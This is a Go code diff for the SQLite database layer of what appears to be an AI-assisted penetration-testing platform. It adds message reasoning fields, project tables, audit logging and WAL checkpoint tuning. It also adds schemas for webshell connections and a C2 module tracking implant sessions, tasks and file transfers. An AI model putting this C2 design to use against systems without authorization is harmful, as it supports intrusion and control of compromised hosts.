@@ -325,7 +380,7 @@ func (db *DB) ListConversations(limit, offset int, search string) ([]*Conversati
|
||||
)
|
||||
} else {
|
||||
rows, err = db.Query(
|
||||
"SELECT id, title, COALESCE(pinned, 0), created_at, updated_at FROM conversations ORDER BY updated_at DESC LIMIT ? OFFSET ?",
|
||||
"SELECT id, title, COALESCE(pinned, 0), created_at, updated_at, project_id FROM conversations ORDER BY updated_at DESC LIMIT ? OFFSET ?",
|
||||
limit, offset,
|
||||
)
|
||||
}
|
||||
@@ -340,10 +395,14 @@ func (db *DB) ListConversations(limit, offset int, search string) ([]*Conversati
|
||||
var conv Conversation
|
||||
var createdAt, updatedAt string
|
||||
var pinned int
|
||||
var projectID sql.NullString
|
||||
|
||||
if err := rows.Scan(&conv.ID, &conv.Title, &pinned, &createdAt, &updatedAt); err != nil {
|
||||
if err := rows.Scan(&conv.ID, &conv.Title, &pinned, &createdAt, &updatedAt, &projectID); err != nil {
|
||||
return nil, fmt.Errorf("扫描对话失败: %w", err)
|
||||
}
|
||||
if projectID.Valid {
|
||||
conv.ProjectID = strings.TrimSpace(projectID.String)
|
||||
}
|
||||
|
||||
// 尝试多种时间格式解析
|
||||
var err1, err2 error
|
||||
@@ -484,6 +543,7 @@ func (db *DB) ConversationHasToolProcessDetails(conversationID string) (bool, er
|
||||
// AddMessage 添加消息
|
||||
func (db *DB) AddMessage(conversationID, role, content string, mcpExecutionIDs []string) (*Message, error) {
|
||||
id := uuid.New().String()
|
||||
now := time.Now()
|
||||
|
||||
var mcpIDsJSON string
|
||||
if len(mcpExecutionIDs) > 0 {
|
||||
@@ -496,8 +556,8 @@ func (db *DB) AddMessage(conversationID, role, content string, mcpExecutionIDs [
|
||||
}
|
||||
|
||||
_, err := db.Exec(
|
||||
"INSERT INTO messages (id, conversation_id, role, content, mcp_execution_ids, created_at) VALUES (?, ?, ?, ?, ?, ?)",
|
||||
id, conversationID, role, content, mcpIDsJSON, time.Now(),
|
||||
"INSERT INTO messages (id, conversation_id, role, content, reasoning_content, mcp_execution_ids, created_at, updated_at) VALUES (?, ?, ?, ?, ?, ?, ?, ?)",
|
||||
id, conversationID, role, content, "", mcpIDsJSON, now, now,
|
||||
)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("添加消息失败: %w", err)
|
||||
@@ -514,16 +574,37 @@ func (db *DB) AddMessage(conversationID, role, content string, mcpExecutionIDs [
|
||||
Role: role,
|
||||
Content: content,
|
||||
MCPExecutionIDs: mcpExecutionIDs,
|
||||
CreatedAt: time.Now(),
|
||||
CreatedAt: now,
|
||||
UpdatedAt: now,
|
||||
}
|
||||
|
||||
return message, nil
|
||||
}
|
||||
|
||||
// UpdateAssistantMessageFinalize 更新助手消息终态(正文、MCP id、思考链聚合文本,供无轨迹回退时回放)。
|
||||
func (db *DB) UpdateAssistantMessageFinalize(messageID, content string, mcpExecutionIDs []string, reasoningContent string) error {
|
||||
var mcpIDsJSON string
|
||||
if len(mcpExecutionIDs) > 0 {
|
||||
jsonData, err := json.Marshal(mcpExecutionIDs)
|
||||
if err != nil {
|
||||
return fmt.Errorf("序列化MCP执行ID失败: %w", err)
|
||||
}
|
||||
mcpIDsJSON = string(jsonData)
|
||||
}
|
||||
_, err := db.Exec(
|
||||
"UPDATE messages SET content = ?, mcp_execution_ids = ?, reasoning_content = ?, updated_at = ? WHERE id = ?",
|
||||
content, mcpIDsJSON, strings.TrimSpace(reasoningContent), time.Now(), messageID,
|
||||
)
|
||||
if err != nil {
|
||||
return fmt.Errorf("更新助手消息失败: %w", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// GetMessages 获取对话的所有消息
|
||||
func (db *DB) GetMessages(conversationID string) ([]Message, error) {
|
||||
rows, err := db.Query(
|
||||
"SELECT id, conversation_id, role, content, mcp_execution_ids, created_at FROM messages WHERE conversation_id = ? ORDER BY created_at ASC",
|
||||
"SELECT id, conversation_id, role, content, reasoning_content, mcp_execution_ids, created_at, updated_at FROM messages WHERE conversation_id = ? ORDER BY created_at ASC",
|
||||
conversationID,
|
||||
)
|
||||
if err != nil {
|
||||
@@ -534,12 +615,17 @@ func (db *DB) GetMessages(conversationID string) ([]Message, error) {
|
||||
var messages []Message
|
||||
for rows.Next() {
|
||||
var msg Message
|
||||
var reasoning sql.NullString
|
||||
var mcpIDsJSON sql.NullString
|
||||
var createdAt string
|
||||
var updatedAt sql.NullString
|
||||
|
||||
if err := rows.Scan(&msg.ID, &msg.ConversationID, &msg.Role, &msg.Content, &mcpIDsJSON, &createdAt); err != nil {
|
||||
if err := rows.Scan(&msg.ID, &msg.ConversationID, &msg.Role, &msg.Content, &reasoning, &mcpIDsJSON, &createdAt, &updatedAt); err != nil {
|
||||
return nil, fmt.Errorf("扫描消息失败: %w", err)
|
||||
}
|
||||
if reasoning.Valid {
|
||||
msg.ReasoningContent = reasoning.String
|
||||
}
|
||||
|
||||
// 尝试多种时间格式解析
|
||||
var err error
|
||||
@@ -551,6 +637,20 @@ func (db *DB) GetMessages(conversationID string) ([]Message, error) {
|
||||
msg.CreatedAt, _ = time.Parse(time.RFC3339, createdAt)
|
||||
}
|
||||
|
||||
// updated_at 兼容老库:字段不存在/为空时回退为 created_at
|
||||
if updatedAt.Valid && strings.TrimSpace(updatedAt.String) != "" {
|
||||
msg.UpdatedAt, err = time.Parse("2006-01-02 15:04:05.999999999-07:00", updatedAt.String)
|
||||
if err != nil {
|
||||
msg.UpdatedAt, err = time.Parse("2006-01-02 15:04:05", updatedAt.String)
|
||||
}
|
||||
if err != nil {
|
||||
msg.UpdatedAt, _ = time.Parse(time.RFC3339, updatedAt.String)
|
||||
}
|
||||
}
|
||||
if msg.UpdatedAt.IsZero() {
|
||||
msg.UpdatedAt = msg.CreatedAt
|
||||
}
|
||||
|
||||
// 解析MCP执行ID
|
||||
if mcpIDsJSON.Valid && mcpIDsJSON.String != "" {
|
||||
if err := json.Unmarshal([]byte(mcpIDsJSON.String), &msg.MCPExecutionIDs); err != nil {
|
||||
@@ -665,7 +765,7 @@ type ProcessDetail struct {
|
||||
ID string `json:"id"`
|
||||
MessageID string `json:"messageId"`
|
||||
ConversationID string `json:"conversationId"`
|
||||
EventType string `json:"eventType"` // iteration, thinking, tool_calls_detected, tool_call, tool_result, progress, error
|
||||
EventType string `json:"eventType"` // iteration, thinking, reasoning_chain, tool_calls_detected, tool_call, tool_result, progress, error
|
||||
Message string `json:"message"`
|
||||
Data string `json:"data"` // JSON格式的数据
|
||||
CreatedAt time.Time `json:"createdAt"`
|
||||
|
||||
@@ -0,0 +1,30 @@
|
||||
package database
|
||||
|
||||
// ConversationCreateMeta describes how a conversation was created (for audit hooks).
|
||||
type ConversationCreateMeta struct {
|
||||
Source string
|
||||
WebShellConnectionID string
|
||||
ProjectID string
|
||||
ClientIP string
|
||||
SessionHint string
|
||||
}
|
||||
|
||||
// ConversationCreateHook is invoked after a conversation row is inserted.
|
||||
type ConversationCreateHook func(conv *Conversation, meta ConversationCreateMeta)
|
||||
|
||||
var conversationCreateHook ConversationCreateHook
|
||||
|
||||
// SetConversationCreateHook registers a global hook (e.g. platform audit).
|
||||
func SetConversationCreateHook(h ConversationCreateHook) {
|
||||
conversationCreateHook = h
|
||||
}
|
||||
|
||||
func notifyConversationCreated(conv *Conversation, meta ConversationCreateMeta) {
|
||||
if conversationCreateHook == nil || conv == nil {
|
||||
return
|
||||
}
|
||||
if meta.Source == "" {
|
||||
meta.Source = "unknown"
|
||||
}
|
||||
conversationCreateHook(conv, meta)
|
||||
}
|
||||
@@ -5,6 +5,7 @@ import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"sync"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
@@ -12,19 +13,106 @@ import (
|
||||
"go.uber.org/zap"
|
||||
)
|
||||
|
||||
const (
|
||||
// SQLite 在 WAL 模式下建议使用较保守的连接数,降低长读快照导致 checkpoint 饥饿的概率。
|
||||
sqliteMaxOpenConns = 25
|
||||
sqliteMaxIdleConns = 5
|
||||
// 以页为单位的自动 checkpoint 触发阈值(默认 1000 页,约 4MB @ 4KB/page)。
|
||||
sqliteWALAutoCheckpointPages = 1000
|
||||
// 控制 WAL 目标上限,避免异常场景持续膨胀(256MB)。
|
||||
sqliteJournalSizeLimitBytes = 256 * 1024 * 1024
|
||||
// 定时执行 PASSIVE checkpoint,平滑推进 WAL 回收。
|
||||
sqlitePassiveCheckpointInterval = 300 * time.Second
|
||||
)
|
||||
|
||||
// configureDBPool 设置 SQLite 连接池参数,提升并发稳定性
|
||||
func configureDBPool(db *sql.DB) {
|
||||
// SQLite 同一时间只允许一个写入者,限制连接数避免 "database is locked" 错误
|
||||
db.SetMaxOpenConns(25)
|
||||
db.SetMaxIdleConns(5)
|
||||
// SQLite 同一时间只允许一个写入者;过高连接数会放大锁竞争和 WAL 回收延迟。
|
||||
db.SetMaxOpenConns(sqliteMaxOpenConns)
|
||||
db.SetMaxIdleConns(sqliteMaxIdleConns)
|
||||
db.SetConnMaxLifetime(30 * time.Minute)
|
||||
}
|
||||
|
||||
// configureSQLitePragmas 调整 WAL 回收行为,降低 -wal 文件长期膨胀风险。
|
||||
func configureSQLitePragmas(db *sql.DB) error {
|
||||
if _, err := db.Exec(fmt.Sprintf("PRAGMA wal_autocheckpoint=%d", sqliteWALAutoCheckpointPages)); err != nil {
|
||||
return fmt.Errorf("设置 wal_autocheckpoint 失败: %w", err)
|
||||
}
|
||||
if _, err := db.Exec(fmt.Sprintf("PRAGMA journal_size_limit=%d", sqliteJournalSizeLimitBytes)); err != nil {
|
||||
return fmt.Errorf("设置 journal_size_limit 失败: %w", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// DB 数据库连接
|
||||
type DB struct {
|
||||
*sql.DB
|
||||
logger *zap.Logger
|
||||
conversationArtifactsDir string
|
||||
checkpointLoopName string
|
||||
checkpointStop chan struct{}
|
||||
checkpointDone chan struct{}
|
||||
closeOnce sync.Once
|
||||
closeErr error
|
||||
}
|
||||
|
||||
// startPassiveCheckpointLoop 启动后台 PASSIVE checkpoint 循环。
|
||||
func (db *DB) startPassiveCheckpointLoop(name string) {
|
||||
if sqlitePassiveCheckpointInterval <= 0 || db == nil || db.DB == nil {
|
||||
return
|
||||
}
|
||||
db.checkpointLoopName = strings.TrimSpace(name)
|
||||
db.checkpointStop = make(chan struct{})
|
||||
db.checkpointDone = make(chan struct{})
|
||||
|
||||
go func() {
|
||||
defer close(db.checkpointDone)
|
||||
ticker := time.NewTicker(sqlitePassiveCheckpointInterval)
|
||||
defer ticker.Stop()
|
||||
|
||||
// 启动后先尝试一次,尽快回收已有 WAL 堆积。
|
||||
db.runPassiveCheckpoint("startup")
|
||||
for {
|
||||
select {
|
||||
case <-db.checkpointStop:
|
||||
return
|
||||
case <-ticker.C:
|
||||
db.runPassiveCheckpoint("ticker")
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
// runPassiveCheckpoint 执行一次 PRAGMA wal_checkpoint(PASSIVE)。
|
||||
func (db *DB) runPassiveCheckpoint(trigger string) {
|
||||
if db == nil || db.DB == nil {
|
||||
return
|
||||
}
|
||||
startAt := time.Now()
|
||||
var busy, logFrames, checkpointed int
|
||||
err := db.QueryRow("PRAGMA wal_checkpoint(PASSIVE)").Scan(&busy, &logFrames, &checkpointed)
|
||||
if db.logger == nil {
|
||||
return
|
||||
}
|
||||
fields := []zap.Field{
|
||||
zap.String("db", db.checkpointLoopName),
|
||||
zap.String("trigger", trigger),
|
||||
zap.Int("busy", busy),
|
||||
zap.Int("log_frames", logFrames),
|
||||
zap.Int("checkpointed_frames", checkpointed),
|
||||
zap.Int64("elapsed_ms", time.Since(startAt).Milliseconds()),
|
||||
}
|
||||
if err != nil {
|
||||
db.logger.Warn("SQLite PASSIVE checkpoint 完成(失败)",
|
||||
append(fields, zap.Error(err))...,
|
||||
)
|
||||
return
|
||||
}
|
||||
if busy > 0 {
|
||||
db.logger.Info("SQLite PASSIVE checkpoint 完成(部分推进)", fields...)
|
||||
return
|
||||
}
|
||||
db.logger.Info("SQLite PASSIVE checkpoint 完成(成功)", fields...)
|
||||
}
|
||||
|
||||
// NewDB 创建数据库连接
|
||||
@@ -37,8 +125,13 @@ func NewDB(dbPath string, logger *zap.Logger) (*DB, error) {
|
||||
configureDBPool(db)
|
||||
|
||||
if err := db.Ping(); err != nil {
|
||||
_ = db.Close()
|
||||
return nil, fmt.Errorf("连接数据库失败: %w", err)
|
||||
}
|
||||
if err := configureSQLitePragmas(db); err != nil {
|
||||
_ = db.Close()
|
||||
return nil, fmt.Errorf("配置数据库 PRAGMA 失败: %w", err)
|
||||
}
|
||||
|
||||
database := &DB{
|
||||
DB: db,
|
||||
@@ -54,8 +147,10 @@ func NewDB(dbPath string, logger *zap.Logger) (*DB, error) {
|
||||
|
||||
// 初始化表
|
||||
if err := database.initTables(); err != nil {
|
||||
_ = db.Close()
|
||||
return nil, fmt.Errorf("初始化表失败: %w", err)
|
||||
}
|
||||
database.startPassiveCheckpointLoop("conversations")
|
||||
|
||||
return database, nil
|
||||
}
|
||||
@@ -82,6 +177,7 @@ func (db *DB) initTables() error {
|
||||
content TEXT NOT NULL,
|
||||
mcp_execution_ids TEXT,
|
||||
created_at DATETIME NOT NULL,
|
||||
updated_at DATETIME NOT NULL,
|
||||
FOREIGN KEY (conversation_id) REFERENCES conversations(id) ON DELETE CASCADE
|
||||
);`
|
||||
|
||||
@@ -202,6 +298,69 @@ func (db *DB) initTables() error {
|
||||
UNIQUE(conversation_id, group_id)
|
||||
);`
|
||||
|
||||
// 机器人会话绑定表(用于跨重启保持「平台+租户+用户」到 conversation 的映射)
|
||||
createRobotUserSessionsTable := `
|
||||
CREATE TABLE IF NOT EXISTS robot_user_sessions (
|
||||
session_key TEXT PRIMARY KEY,
|
||||
conversation_id TEXT NOT NULL,
|
||||
role_name TEXT NOT NULL DEFAULT '默认',
|
||||
updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
FOREIGN KEY (conversation_id) REFERENCES conversations(id) ON DELETE CASCADE
|
||||
);`
|
||||
|
||||
// 创建项目表
|
||||
createProjectsTable := `
|
||||
CREATE TABLE IF NOT EXISTS projects (
|
||||
id TEXT PRIMARY KEY,
|
||||
name TEXT NOT NULL,
|
||||
description TEXT,
|
||||
scope_json TEXT,
|
||||
status TEXT NOT NULL DEFAULT 'active',
|
||||
pinned INTEGER NOT NULL DEFAULT 0,
|
||||
created_at DATETIME NOT NULL,
|
||||
updated_at DATETIME NOT NULL
|
||||
);`
|
||||
|
||||
// 创建项目事实表(黑板)
|
||||
createProjectFactsTable := `
|
||||
CREATE TABLE IF NOT EXISTS project_facts (
|
||||
id TEXT PRIMARY KEY,
|
||||
project_id TEXT NOT NULL,
|
||||
fact_key TEXT NOT NULL,
|
||||
category TEXT NOT NULL DEFAULT 'note',
|
||||
summary TEXT NOT NULL DEFAULT '',
|
||||
body TEXT,
|
||||
confidence TEXT NOT NULL DEFAULT 'tentative',
|
||||
source_conversation_id TEXT,
|
||||
source_message_id TEXT,
|
||||
pinned INTEGER NOT NULL DEFAULT 0,
|
||||
supersedes_fact_id TEXT,
|
||||
related_vulnerability_id TEXT,
|
||||
created_at DATETIME NOT NULL,
|
||||
updated_at DATETIME NOT NULL,
|
||||
FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE,
|
||||
UNIQUE(project_id, fact_key)
|
||||
);`
|
||||
|
||||
createProjectFactVersionsTable := `
|
||||
CREATE TABLE IF NOT EXISTS project_fact_versions (
|
||||
id TEXT PRIMARY KEY,
|
||||
fact_id TEXT NOT NULL,
|
||||
project_id TEXT NOT NULL,
|
||||
fact_key TEXT NOT NULL,
|
||||
category TEXT NOT NULL DEFAULT 'note',
|
||||
summary TEXT NOT NULL DEFAULT '',
|
||||
body TEXT,
|
||||
confidence TEXT NOT NULL DEFAULT 'tentative',
|
||||
source_conversation_id TEXT,
|
||||
source_message_id TEXT,
|
||||
pinned INTEGER NOT NULL DEFAULT 0,
|
||||
related_vulnerability_id TEXT,
|
||||
archived_at DATETIME NOT NULL,
|
||||
FOREIGN KEY (fact_id) REFERENCES project_facts(id) ON DELETE CASCADE,
|
||||
FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE
|
||||
);`
|
||||
|
||||
// 创建漏洞表
|
||||
createVulnerabilitiesTable := `
|
||||
CREATE TABLE IF NOT EXISTS vulnerabilities (
|
||||
@@ -229,7 +388,7 @@ func (db *DB) initTables() error {
|
||||
id TEXT PRIMARY KEY,
|
||||
title TEXT,
|
||||
role TEXT,
|
||||
agent_mode TEXT NOT NULL DEFAULT 'single',
|
||||
agent_mode TEXT NOT NULL DEFAULT 'eino_single',
|
||||
schedule_mode TEXT NOT NULL DEFAULT 'manual',
|
||||
cron_expr TEXT,
|
||||
next_run_at DATETIME,
|
||||
@@ -283,6 +442,131 @@ func (db *DB) initTables() error {
|
||||
FOREIGN KEY (connection_id) REFERENCES webshell_connections(id) ON DELETE CASCADE
|
||||
);`
|
||||
|
||||
// ========================================================================
|
||||
// C2 模块(监听器 / 会话 / 任务 / 文件 / 事件 / Malleable Profile)
|
||||
// ========================================================================
|
||||
createC2ListenersTable := `
|
||||
CREATE TABLE IF NOT EXISTS c2_listeners (
|
||||
id TEXT PRIMARY KEY,
|
||||
name TEXT NOT NULL,
|
||||
type TEXT NOT NULL,
|
||||
bind_host TEXT NOT NULL DEFAULT '127.0.0.1',
|
||||
bind_port INTEGER NOT NULL,
|
||||
profile_id TEXT,
|
||||
encryption_key TEXT NOT NULL DEFAULT '',
|
||||
implant_token TEXT NOT NULL DEFAULT '',
|
||||
status TEXT NOT NULL DEFAULT 'stopped',
|
||||
config_json TEXT NOT NULL DEFAULT '{}',
|
||||
remark TEXT NOT NULL DEFAULT '',
|
||||
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
started_at DATETIME,
|
||||
last_error TEXT
|
||||
);`
|
||||
|
||||
createC2SessionsTable := `
|
||||
CREATE TABLE IF NOT EXISTS c2_sessions (
|
||||
id TEXT PRIMARY KEY,
|
||||
listener_id TEXT NOT NULL,
|
||||
implant_uuid TEXT NOT NULL UNIQUE,
|
||||
hostname TEXT,
|
||||
username TEXT,
|
||||
os TEXT,
|
||||
arch TEXT,
|
||||
pid INTEGER DEFAULT 0,
|
||||
process_name TEXT,
|
||||
is_admin INTEGER DEFAULT 0,
|
||||
internal_ip TEXT,
|
||||
external_ip TEXT,
|
||||
user_agent TEXT,
|
||||
sleep_seconds INTEGER NOT NULL DEFAULT 5,
|
||||
jitter_percent INTEGER NOT NULL DEFAULT 0,
|
||||
status TEXT NOT NULL DEFAULT 'active',
|
||||
first_seen_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
last_check_in DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
metadata_json TEXT DEFAULT '{}',
|
||||
note TEXT NOT NULL DEFAULT '',
|
||||
FOREIGN KEY (listener_id) REFERENCES c2_listeners(id) ON DELETE CASCADE
|
||||
);`
|
||||
|
||||
createC2TasksTable := `
|
||||
CREATE TABLE IF NOT EXISTS c2_tasks (
|
||||
id TEXT PRIMARY KEY,
|
||||
session_id TEXT NOT NULL,
|
||||
task_type TEXT NOT NULL,
|
||||
payload_json TEXT NOT NULL DEFAULT '{}',
|
||||
status TEXT NOT NULL DEFAULT 'queued',
|
||||
result_text TEXT,
|
||||
result_blob_path TEXT,
|
||||
error TEXT,
|
||||
source TEXT NOT NULL DEFAULT 'manual',
|
||||
conversation_id TEXT,
|
||||
approval_status TEXT,
|
||||
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
sent_at DATETIME,
|
||||
started_at DATETIME,
|
||||
completed_at DATETIME,
|
||||
duration_ms INTEGER DEFAULT 0,
|
||||
FOREIGN KEY (session_id) REFERENCES c2_sessions(id) ON DELETE CASCADE
|
||||
);`
|
||||
|
||||
createC2FilesTable := `
|
||||
CREATE TABLE IF NOT EXISTS c2_files (
|
||||
id TEXT PRIMARY KEY,
|
||||
session_id TEXT NOT NULL,
|
||||
task_id TEXT,
|
||||
direction TEXT NOT NULL,
|
||||
remote_path TEXT NOT NULL,
|
||||
local_path TEXT NOT NULL,
|
||||
size_bytes INTEGER DEFAULT 0,
|
||||
sha256 TEXT,
|
||||
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
FOREIGN KEY (session_id) REFERENCES c2_sessions(id) ON DELETE CASCADE
|
||||
);`
|
||||
|
||||
createC2EventsTable := `
|
||||
CREATE TABLE IF NOT EXISTS c2_events (
|
||||
id TEXT PRIMARY KEY,
|
||||
level TEXT NOT NULL DEFAULT 'info',
|
||||
category TEXT NOT NULL,
|
||||
session_id TEXT,
|
||||
task_id TEXT,
|
||||
message TEXT NOT NULL,
|
||||
data_json TEXT,
|
||||
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
|
||||
);`
|
||||
|
||||
createAuditLogsTable := `
|
||||
CREATE TABLE IF NOT EXISTS audit_logs (
|
||||
id TEXT PRIMARY KEY,
|
||||
created_at DATETIME NOT NULL,
|
||||
level TEXT NOT NULL DEFAULT 'info',
|
||||
category TEXT NOT NULL,
|
||||
action TEXT NOT NULL,
|
||||
result TEXT NOT NULL,
|
||||
actor TEXT NOT NULL DEFAULT 'admin',
|
||||
session_hint TEXT,
|
||||
client_ip TEXT,
|
||||
user_agent TEXT,
|
||||
resource_type TEXT,
|
||||
resource_id TEXT,
|
||||
message TEXT NOT NULL,
|
||||
detail_json TEXT
|
||||
);`
|
||||
|
||||
createC2ProfilesTable := `
|
||||
CREATE TABLE IF NOT EXISTS c2_profiles (
|
||||
id TEXT PRIMARY KEY,
|
||||
name TEXT NOT NULL UNIQUE,
|
||||
user_agent TEXT,
|
||||
uris_json TEXT NOT NULL DEFAULT '[]',
|
||||
request_headers_json TEXT,
|
||||
response_headers_json TEXT,
|
||||
body_template TEXT,
|
||||
jitter_min_ms INTEGER DEFAULT 0,
|
||||
jitter_max_ms INTEGER DEFAULT 0,
|
||||
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
|
||||
);`
|
||||
|
||||
// 创建索引
|
||||
createIndexes := `
|
||||
CREATE INDEX IF NOT EXISTS idx_messages_conversation_id ON messages(conversation_id);
|
||||
@@ -301,6 +585,7 @@ func (db *DB) initTables() error {
|
||||
CREATE INDEX IF NOT EXISTS idx_knowledge_retrieval_logs_created_at ON knowledge_retrieval_logs(created_at);
|
||||
CREATE INDEX IF NOT EXISTS idx_conversation_group_mappings_conversation ON conversation_group_mappings(conversation_id);
|
||||
CREATE INDEX IF NOT EXISTS idx_conversation_group_mappings_group ON conversation_group_mappings(group_id);
|
||||
CREATE INDEX IF NOT EXISTS idx_robot_user_sessions_updated_at ON robot_user_sessions(updated_at);
|
||||
CREATE INDEX IF NOT EXISTS idx_conversations_pinned ON conversations(pinned);
|
||||
CREATE INDEX IF NOT EXISTS idx_vulnerabilities_conversation_id ON vulnerabilities(conversation_id);
|
||||
CREATE INDEX IF NOT EXISTS idx_vulnerabilities_conversation_tag ON vulnerabilities(conversation_tag);
|
||||
@@ -308,11 +593,36 @@ func (db *DB) initTables() error {
|
||||
CREATE INDEX IF NOT EXISTS idx_vulnerabilities_severity ON vulnerabilities(severity);
|
||||
CREATE INDEX IF NOT EXISTS idx_vulnerabilities_status ON vulnerabilities(status);
|
||||
CREATE INDEX IF NOT EXISTS idx_vulnerabilities_created_at ON vulnerabilities(created_at);
|
||||
CREATE INDEX IF NOT EXISTS idx_projects_status ON projects(status);
|
||||
CREATE INDEX IF NOT EXISTS idx_projects_updated_at ON projects(updated_at);
|
||||
CREATE INDEX IF NOT EXISTS idx_project_facts_project_id ON project_facts(project_id);
|
||||
CREATE INDEX IF NOT EXISTS idx_project_facts_confidence ON project_facts(confidence);
|
||||
CREATE INDEX IF NOT EXISTS idx_project_facts_related_vuln ON project_facts(related_vulnerability_id);
|
||||
CREATE INDEX IF NOT EXISTS idx_project_fact_versions_fact_id ON project_fact_versions(fact_id);
|
||||
CREATE INDEX IF NOT EXISTS idx_conversations_project_id ON conversations(project_id);
|
||||
CREATE INDEX IF NOT EXISTS idx_vulnerabilities_project_id ON vulnerabilities(project_id);
|
||||
CREATE INDEX IF NOT EXISTS idx_batch_tasks_queue_id ON batch_tasks(queue_id);
|
||||
CREATE INDEX IF NOT EXISTS idx_batch_task_queues_created_at ON batch_task_queues(created_at);
|
||||
CREATE INDEX IF NOT EXISTS idx_batch_task_queues_title ON batch_task_queues(title);
|
||||
CREATE INDEX IF NOT EXISTS idx_webshell_connections_created_at ON webshell_connections(created_at);
|
||||
CREATE INDEX IF NOT EXISTS idx_webshell_connection_states_updated_at ON webshell_connection_states(updated_at);
|
||||
CREATE INDEX IF NOT EXISTS idx_c2_listeners_created_at ON c2_listeners(created_at);
|
||||
CREATE INDEX IF NOT EXISTS idx_c2_listeners_status ON c2_listeners(status);
|
||||
CREATE INDEX IF NOT EXISTS idx_c2_sessions_listener ON c2_sessions(listener_id);
|
||||
CREATE INDEX IF NOT EXISTS idx_c2_sessions_status ON c2_sessions(status);
|
||||
CREATE INDEX IF NOT EXISTS idx_c2_sessions_last_check_in ON c2_sessions(last_check_in);
|
||||
CREATE INDEX IF NOT EXISTS idx_c2_tasks_session ON c2_tasks(session_id);
|
||||
CREATE INDEX IF NOT EXISTS idx_c2_tasks_status ON c2_tasks(status);
|
||||
CREATE INDEX IF NOT EXISTS idx_c2_tasks_created_at ON c2_tasks(created_at);
|
||||
CREATE INDEX IF NOT EXISTS idx_c2_tasks_conversation ON c2_tasks(conversation_id);
|
||||
CREATE INDEX IF NOT EXISTS idx_c2_files_session ON c2_files(session_id);
|
||||
CREATE INDEX IF NOT EXISTS idx_c2_events_created_at ON c2_events(created_at);
|
||||
CREATE INDEX IF NOT EXISTS idx_c2_events_category ON c2_events(category);
|
||||
CREATE INDEX IF NOT EXISTS idx_c2_events_session ON c2_events(session_id);
|
||||
CREATE INDEX IF NOT EXISTS idx_audit_logs_created_at ON audit_logs(created_at);
|
||||
CREATE INDEX IF NOT EXISTS idx_audit_logs_category ON audit_logs(category);
|
||||
CREATE INDEX IF NOT EXISTS idx_audit_logs_action ON audit_logs(action);
|
||||
CREATE INDEX IF NOT EXISTS idx_audit_logs_result ON audit_logs(result);
|
||||
`
|
||||
|
||||
if _, err := db.Exec(createConversationsTable); err != nil {
|
||||
@@ -358,6 +668,21 @@ func (db *DB) initTables() error {
|
||||
if _, err := db.Exec(createConversationGroupMappingsTable); err != nil {
|
||||
return fmt.Errorf("创建conversation_group_mappings表失败: %w", err)
|
||||
}
|
||||
if _, err := db.Exec(createRobotUserSessionsTable); err != nil {
|
||||
return fmt.Errorf("创建robot_user_sessions表失败: %w", err)
|
||||
}
|
||||
|
||||
if _, err := db.Exec(createProjectsTable); err != nil {
|
||||
return fmt.Errorf("创建projects表失败: %w", err)
|
||||
}
|
||||
|
||||
if _, err := db.Exec(createProjectFactsTable); err != nil {
|
||||
return fmt.Errorf("创建project_facts表失败: %w", err)
|
||||
}
|
||||
|
||||
if _, err := db.Exec(createProjectFactVersionsTable); err != nil {
|
||||
return fmt.Errorf("创建project_fact_versions表失败: %w", err)
|
||||
}
|
||||
|
||||
if _, err := db.Exec(createVulnerabilitiesTable); err != nil {
|
||||
return fmt.Errorf("创建vulnerabilities表失败: %w", err)
|
||||
@@ -379,12 +704,34 @@ func (db *DB) initTables() error {
|
||||
return fmt.Errorf("创建webshell_connection_states表失败: %w", err)
|
||||
}
|
||||
|
||||
if _, err := db.Exec(createAuditLogsTable); err != nil {
|
||||
return fmt.Errorf("创建audit_logs表失败: %w", err)
|
||||
}
|
||||
|
||||
for tableName, ddl := range map[string]string{
|
||||
"c2_listeners": createC2ListenersTable,
|
||||
"c2_sessions": createC2SessionsTable,
|
||||
"c2_tasks": createC2TasksTable,
|
||||
"c2_files": createC2FilesTable,
|
||||
"c2_events": createC2EventsTable,
|
||||
"c2_profiles": createC2ProfilesTable,
|
||||
} {
|
||||
if _, err := db.Exec(ddl); err != nil {
|
||||
return fmt.Errorf("创建%s表失败: %w", tableName, err)
|
||||
}
|
||||
}
|
||||
|
||||
// 为已有表添加新字段(如果不存在)- 必须在创建索引之前
|
||||
if err := db.migrateConversationsTable(); err != nil {
|
||||
db.logger.Warn("迁移conversations表失败", zap.Error(err))
|
||||
// 不返回错误,允许继续运行
|
||||
}
|
||||
|
||||
if err := db.migrateMessagesTable(); err != nil {
|
||||
db.logger.Warn("迁移messages表失败", zap.Error(err))
|
||||
// 不返回错误,允许继续运行
|
||||
}
|
||||
|
||||
if err := db.migrateConversationGroupsTable(); err != nil {
|
||||
db.logger.Warn("迁移conversation_groups表失败", zap.Error(err))
|
||||
// 不返回错误,允许继续运行
|
||||
@@ -404,6 +751,13 @@ func (db *DB) initTables() error {
|
||||
// 不返回错误,允许继续运行
|
||||
}
|
||||
|
||||
if err := db.migrateProjectsTable(); err != nil {
|
||||
db.logger.Warn("迁移projects相关表失败", zap.Error(err))
|
||||
}
|
||||
if err := db.migrateProjectFactVersionsTable(); err != nil {
|
||||
db.logger.Warn("迁移project_fact_versions表失败", zap.Error(err))
|
||||
}
|
||||
|
||||
if err := db.migrateWebshellConnectionsTable(); err != nil {
|
||||
db.logger.Warn("迁移webshell_connections表失败", zap.Error(err))
|
||||
// 不返回错误,允许继续运行
|
||||
@@ -417,6 +771,52 @@ func (db *DB) initTables() error {
|
||||
return nil
|
||||
}
|
||||
|
||||
// migrateMessagesTable 迁移 messages 表,补充 updated_at 字段。
